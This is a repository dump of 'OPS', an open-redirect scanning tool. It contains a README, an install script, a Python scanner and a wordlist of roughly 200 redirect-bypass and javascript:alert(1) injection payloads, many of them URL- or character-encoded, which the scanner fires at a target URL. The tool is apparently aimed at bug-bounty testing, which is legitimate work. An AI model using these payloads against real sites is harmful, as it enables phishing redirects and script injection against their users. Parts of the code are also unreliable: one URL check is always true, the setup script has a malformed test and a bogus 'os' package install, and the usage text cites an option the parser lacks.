├── wordlists └── wordlist.txt ├── setup.sh ├── README.md ├── payloads └── big_w.txt └── ops.py /wordlists/wordlist.txt: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [ -f "/etc/arch-release" ]; then 4 | sudo pacman -Sy python python-pip python-requests 5 | elif [ -f "/etc/fedora-release"]; then 6 | sudo dnf install python3 python3-pip python3-requests -y 7 | else # for debian based distros 8 | sudo apt install python3 python3-pip python3-requests -y 9 | fi 10 | 11 | pip3 install colorama 12 | pip3 install optparse-pretty 13 | pip3 install os 14 | sudo chmod +x ops.py 15 | cp -r $(pwd) /usr/bin 16 | ln -s /usr/bin/ops_scanner/ops.py /usr/local/bin/ops 17 | echo '[+]-Setup is completed , you can execute ops from your command line' 18 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # OPS 2 | OPS is a python tool designed to scan for open Redirect vulnerabilities, used also to bypass filters. 3 | 4 | # Screenshots 5 | ![image](https://user-images.githubusercontent.com/65312444/116719737-f0995280-a9ca-11eb-9dcc-c59fa1d0b2a8.png) 6 | ![image](https://user-images.githubusercontent.com/65312444/116719809-060e7c80-a9cb-11eb-8a63-6e387cd5b487.png) 7 | 8 | 9 | # Setup 10 | ``` 11 | sudo chmod +x setup.sh 12 | sudo ./setup.sh 13 | ./ops.py 14 | ``` 15 | After running setup.sh you can execute ops using the terminal 16 | 17 | # Requirement 18 | ``` 19 | python3 20 | python packages : 21 | - requests 22 | - os 23 | - optparse 24 | - colorama 25 | ``` 26 | # Usage 27 | Short Form | Long Form | Description 28 | ------------- | ------------- |------------- 29 | -u | --url | Target URL 30 | -w | --wordlist | Using a custom payloads wordlist 31 | -q | --quiet | Enable quiet mode 32 | -t | --Timeout | Time of waiting for a request 33 | -h | --help | show the help message and exit 34 | 35 | ## Credits 36 | Special thanks to : 37 | 38 | * [f0rkr](https://github.com/f0rkr) 39 | * [yeez123](https://github.com/yezz123) 40 | 41 | # issues 42 | Bug reports are welcome! Please report all bugs on the issue tracker. 43 | Thank you. 44 | -------------------------------------------------------------------------------- /payloads/big_w.txt: -------------------------------------------------------------------------------- 1 | /http://example.com 2 | /%5cexample.com 3 | /%2f%2fexample.com 4 | /example.com/%2f%2e%2e 5 | /http:/example.com 6 | /?url=http://example.com&next=http://example.com&redirect=http://example.com&redir=http://example.com&rurl=http://example.com 7 | /?url=//example.com&next=//example.com&redirect=//example.com&redir=//example.com&rurl=//example.com 8 | /?url=/\/example.com&next=/\/example.com&redirect=/\/example.com 9 | /redirect?url=http://example.com&next=http://example.com&redirect=http://example.com&redir=http://example.com&rurl=http://example.com 10 | /redirect?url=//example.com&next=//example.com&redirect=//example.com&redir=//example.com&rurl=//example.com 11 | /redirect?url=/\/example.com&next=/\/example.com&redirect=/\/example.com&redir=/\/example.com&rurl=/\/example.com 12 | /.example.com 13 | ///\;@example.com 14 | ///example.com/ 15 | ///example.com 16 | ///example.com/%2f.. 17 | /////example.com/ 18 | /////example.com 19 | /%09/example.com 20 | /%2f%2fexample.com 21 | /%2f%5c%2f%67%6f%6f%67%6c%65%2e%63%6f%6d/ 22 | /%5cexample.com 23 | /%68%74%74%70%3a%2f%2f%67%6f%6f%67%6c%65%2e%63%6f%6d 24 | /.example.com 25 | //%09/example.com 26 | //%5cexample.com 27 | ///%09/example.com 28 | ///%5cexample.com 29 | ////%09/example.com 30 | ////%5cexample.com 31 | /////example.com 32 | /////example.com/ 33 | ////\;@example.com 34 | ////example.com/ 35 | ////example.com/%2e%2e 36 | ////example.com/%2e%2e%2f 37 | ////example.com/%2f%2e%2e 38 | ////example.com/%2f.. 39 | ////example.com// 40 | ///\;@example.com 41 | ///example.com 42 | ///example.com/ 43 | ///example.com/%2e%2e 44 | ///example.com/%2e%2e%2f 45 | ///example.com/%2f%2e%2e 46 | ///example.com/%2f.. 47 | ///example.com// 48 | //example.com 49 | //example.com/ 50 | //example.com/%2e%2e 51 | //example.com/%2e%2e%2f 52 | //example.com/%2f%2e%2e 53 | //example.com/%2f.. 54 | //example.com// 55 | //google%E3%80%82com 56 | //https:///example.com/%2e%2e 57 | //https://example.com/%2e%2e%2f 58 | //https://example.com// 59 | ///example.com 60 | /\/\/example.com/ 61 | /\/example.com/ 62 | /example.com/%2f%2e%2e 63 | /http://%67%6f%6f%67%6c%65%2e%63%6f%6d 64 | /http://example.com 65 | /http:/example.com 66 | /https:/%5cexample.com/ 67 | /https://%09/example.com 68 | /https://%5cexample.com 69 | /https:///example.com/%2e%2e 70 | /https:///example.com/%2f%2e%2e 71 | /https://example.com 72 | /https://example.com/ 73 | /https://example.com/%2e%2e 74 | /https://example.com/%2e%2e%2f 75 | /https://example.com/%2f%2e%2e 76 | /https://example.com/%2f.. 77 | /https://example.com// 78 | /https:example.com 79 | /redirect?url=//example.com&next=//example.com&redirect=//example.com&redir=//example.com&rurl=//example.com&redirect_uri=//example.com 80 | /redirect?url=/\/example.com&next=/\/example.com&redirect=/\/example.com&redir=/\/example.com&rurl=/\/example.com&redirect_uri=/\/example.com 81 | /redirect?url=Https://example.com&next=Https://example.com&redirect=Https://example.com&redir=Https://example.com&rurl=Https://example.com&redirect_uri=Https://example.com 82 | //javascript:alert(1) 83 | /javascript:alert(1) 84 | /%5cjavascript:alert(1); 85 | /%5cjavascript:alert(1) 86 | //google.com 87 | //google%E3%80%82com 88 | /http://%67%6f%6f%67%6c%65%2e%63%6f%6d 89 | //google.com 90 | \x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1) 91 | \u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003aalert(1) 92 | ja\nva\tscript\r:alert(1) 93 | \j\av\a\s\cr\i\pt\:\a\l\ert\(1\) 94 | \152\141\166\141\163\143\162\151\160\164\072alert(1) 95 | ///%09/google.com 96 | ////%09/google.com 97 | /https://%09/google.com 98 | /%5cgoogle.com 99 | //%5cgoogle.com 100 | ///%5cgoogle.com 101 | ////%5cgoogle.com 102 | /https://%5cgoogle.com 103 | /https:///%5cgoogle.com 104 | /https://%5cgoogle.com 105 | /https://google.com 106 | /http:///////////google.com 107 | \\google.com 108 | ///%09/example.com 109 | ///%5cexample.com 110 | ////%09/example.com 111 | ////%5cexample.com 112 | /////example.com 113 | /////example.com/ 114 | ////\;@example.com 115 | ////example.com/ 116 | ////example.com/%2e%2e 117 | ////example.com/%2e%2e%2f 118 | ////example.com/%2f%2e%2e 119 | ////example.com/%2f.. 120 | ////example.com// 121 | ///\;@example.com 122 | ///example.com 123 | ///example.com/ 124 | ///example.com/%2e%2e 125 | ///example.com/%2e%2e%2f 126 | ///example.com/%2f%2e%2e 127 | ja\nva\tscript\r:alert(1) 128 | \j\av\a\s\cr\i\pt\:\a\l\ert\(1\) 129 | //google%E3%80%82com 130 | /%09/javascript:alert(1); 131 | /%09/javascript:alert(1) 132 | /%5cjavascript:alert(1); 133 | /%5cjavascript:alert(1) 134 | \j\av\a\s\cr\i\pt\:\a\l\ert\(1\) 135 | //Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ%E3%80%82pw 136 | google%252ecom 137 | //google.com 138 | ///google.com 139 | //;@google.com 140 | ///;@google.com 141 | /////google.com/ 142 | /////google.com 143 | ////\;@google.com 144 | ////google.com// 145 | ////google.com/ 146 | ////google.com 147 | ///\;@google.com 148 | ///google.com// 149 | ///google.com/ 150 | ///google.com 151 | //\/google.com/ 152 | //\google.com 153 | //google.com// 154 | //google.com/ 155 | //google.com 156 | /.google.com 157 | /\/\/google.com/ 158 | /\/google.com/ 159 | /\/google.com 160 | /\google.com 161 | /google.com 162 | ../google.com 163 | .google.com 164 | @google.com 165 | \/\/google.com/ 166 | ////google.com/%2e%2e 167 | ///google.com/%2e%2e 168 | //google.com/%2e%2e 169 | /google.com/%2e%2e 170 | //google.com/%2E%2E 171 | ////google.com/%2e%2e%2f 172 | ///google.com/%2e%2e%2f 173 | //google.com/%2e%2e%2f 174 | ////google.com/%2f.. 175 | ///google.com/%2f.. 176 | //google.com/%2f.. 177 | //google.com/%2F.. 178 | /google.com/%2F.. 179 | ////google.com/%2f%2e%2e 180 | ///google.com/%2f%2e%2e 181 | //google.com/%2f%2e%2e 182 | /google.com/%2f%2e%2e 183 | //google.com//%2F%2E%2E 184 | /http://google.com 185 | /http:/google.com 186 | /http://;@google.com 187 | /http://.google.com 188 | /http:/\/\google.com 189 | /http:/google.com 190 | /http:google.com 191 | //https://google.com// 192 | /https://google.com// 193 | /https://google.com/ 194 | /https://google.com 195 | /https:google.com 196 | /https://////google.com 197 | /https://google.com// 198 | /https://google.com/ 199 | /https://google.com 200 | /https:/\google.com 201 | //https:///google.com/%2e%2e 202 | /https://google.com/%2e%2e 203 | /https:///google.com/%2e%2e 204 | //https://google.com/%2e%2e%2f 205 | /https://google.com/%2e%2e%2f 206 | /https://google.com/%2f.. 207 | https://google.com/%2f.. 208 | /https:///google.com/%2f%2e%2e 209 | /https://google.com/%2f%2e%2e 210 | /https:///google.com/%2f%2e%2e 211 | /https://google.com/%2f%2e%2e 212 | -------------------------------------------------------------------------------- /ops.py: -------------------------------------------------------------------------------- 1 | from colorama import Fore, Back, Style 2 | import optparse 3 | import os 4 | import requests 5 | 6 | 7 | def banner(): 8 | print( 9 | Fore.BLUE, 10 | """ 11 | ______________________ 12 | __ __ \__ __ \_ ___/ 13 | _ / / /_ /_/ /____ \\ 14 | / /_/ /_ ____/____/ / 15 | \____/ /_/ /____/ 16 | 17 | 18 | 19 | 20 | [ 0UR4N05 (devalfo@protonmail.com) ] 21 | v 1.0 22 | """, 23 | ) 24 | print(Style.RESET_ALL) 25 | parse() 26 | 27 | 28 | def parse(): 29 | usage = "Usage: python3 ops.py -u [url] -w [wordlist]\n\n\nExamples:\npython3 ops.py -u \"http://example.com/index.php?token=junk&redirection=&token=junk\" \npython3 ops.py -u http://example.com/ -w /usr/share/wordlists/word.txt -q \npython3 ops.py -u http://example.com/ -t 1 -c {'enwiki_session': '17ab96bd8ffbe8ca58a78657a918558'}\n\n" 30 | parser = optparse.OptionParser(usage=usage) 31 | parser.add_option("-a", "--agent", dest="user_agent", help="User agent") 32 | parser.add_option( 33 | "-q", 34 | "--quiet", 35 | dest="quiet", 36 | help="Only show vulnerable links", 37 | action="store_true", 38 | ) 39 | parser.add_option( 40 | "-u", 41 | "--url", 42 | dest="url", 43 | help="Target URL (if your link have parameters add a '' to the vulnerable parameter", 44 | ) 45 | parser.add_option( 46 | "-t", 47 | "--timeout", 48 | dest="timeout", 49 | help="Time out of waiting to a response(default is 4s)", 50 | default=4, 51 | ) 52 | parser.add_option( 53 | "-w", 54 | "--wordlist", 55 | dest="wordlist", 56 | help="Custom payloads wordlist (optional)", 57 | default="./payloads/big_w.txt", 58 | ) 59 | (options, args) = parser.parse_args() 60 | global user_agent 61 | global timeout 62 | global quiet 63 | url = options.url 64 | user_agent = options.user_agent 65 | wordlist = options.wordlist 66 | if options.url is None: 67 | parser.print_help() 68 | exit() 69 | timeout = int(options.timeout) 70 | quiet = options.quiet 71 | checking(url, wordlist) 72 | 73 | 74 | # check the link 75 | def checking(urlp, wordlistp): 76 | if "http" or "https" in urlp: 77 | print("[+]-Creating the wordlist") 78 | wordlist(urlp, wordlistp) 79 | else: 80 | print("[!]-Url is not correct , please read the documentation") 81 | exit() 82 | 83 | 84 | def wordlist(urlw, wordlistp): 85 | payloads = open(wordlistp, "r") 86 | wordlist = open("./wordlists/wordlist.txt", "a+") 87 | if "?" and "=" and "" in urlw: 88 | print("[+]-Parameters detected") 89 | for line in payloads: 90 | line = line.strip(" \n\t") 91 | url = urlw.replace("", line) + "\n" 92 | wordlist.writelines(url) 93 | payloads.close() 94 | else: 95 | print("testing") 96 | for line in payloads: 97 | wordlist_elements = urlw + line 98 | wordlist.writelines(wordlist_elements) 99 | payloads.close() 100 | print("[+]-Wordlist done") 101 | wordlist.close() 102 | scan() 103 | 104 | 105 | def scan(): 106 | print("[/]-Scan started") 107 | wordlist_l = open("./wordlists/wordlist.txt", "r") 108 | succesive_301_counter = 0 109 | for line in wordlist_l: 110 | r = requests.get( 111 | line, 112 | timeout=timeout, 113 | allow_redirects=False, 114 | headers={"User-Agent": user_agent}, 115 | ) 116 | status_code = str(r.status_code) 117 | if quiet: 118 | if r.status_code == 302: 119 | res = "[" + status_code + "]--" + line 120 | print(Fore.GREEN, res) 121 | print(Style.RESET_ALL) 122 | elif r.status_code == 301: 123 | succesive_301_counter = succesive_301_counter + 1 124 | if succesive_301_counter >= 20: 125 | print( 126 | "[+]-There is a lot of succesive 301 counter that can be just normal site redirections, please can you check the result or submit the official url" 127 | ) 128 | choise = input("Continue? [y/n] : ") 129 | if choise == "y": 130 | continue 131 | elif choise == "n": 132 | exit() 133 | else: 134 | choise = input("Continue? [y/n] : ") 135 | res = "[" + status_code + "]--" + line 136 | print(Fore.YELLOW, res) 137 | print(Style.RESET_ALL) 138 | else: 139 | if r.status_code == 302: 140 | res = "[" + status_code + "]--" + line 141 | print(Fore.GREEN, res, end=" ") 142 | print(Style.RESET_ALL) 143 | elif r.status_code == 301: 144 | succesive_301_counter = succesive_301_counter + 1 145 | if succesive_301_counter >= 20: 146 | print( 147 | "[+]-There is a lot of succesive 301 counter that can be just normal site redirections, please can you check the result or submit the official url" 148 | ) 149 | choise = input("Continue? [y/n] : ") 150 | if choise == "y": 151 | continue 152 | elif choise == "n": 153 | exit() 154 | else: 155 | choise = input("Continue? [y/n] : ") 156 | res = "[" + status_code + "]--" + line 157 | print(Fore.YELLOW, res, end=" ") 158 | print(Style.RESET_ALL) 159 | else: 160 | res = "[" + status_code + "]--" + line 161 | print(Fore.RED, res, end=" ") 162 | print(Style.RESET_ALL) 163 | print( 164 | "Colors meanings :\n", 165 | Fore.GREEN, 166 | "Green : Confirmed redirection\n", 167 | Fore.YELLOW, 168 | "Yellow : Suspecious redirection\n", 169 | Fore.RED, 170 | "Red : Not a redirection\n note: Please make sure to test the open redirect vulnerabilities before submitting them", 171 | ) 172 | print(Style.RESET_ALL) 173 | choise = input( 174 | "\n[+]-Scan finished , wanna delete the generated wordlist? [y/n] : " 175 | ) 176 | if choise == "n": 177 | print(Fore.YELLOW, "[+]-Okey , BYE ") 178 | exit() 179 | elif choise == "y": 180 | print(Fore.YELLOW, "[+]-Done") 181 | os.remove("./wordlists/wordlist.txt") 182 | else: 183 | exit() 184 | 185 | 186 | try: 187 | banner() 188 | except KeyboardInterrupt: 189 | print(Fore.YELLOW, "\n[*]-OKEY ,BYEE") 190 | os.remove("./wordlists/wordlist.txt") 191 | --------------------------------------------------------------------------------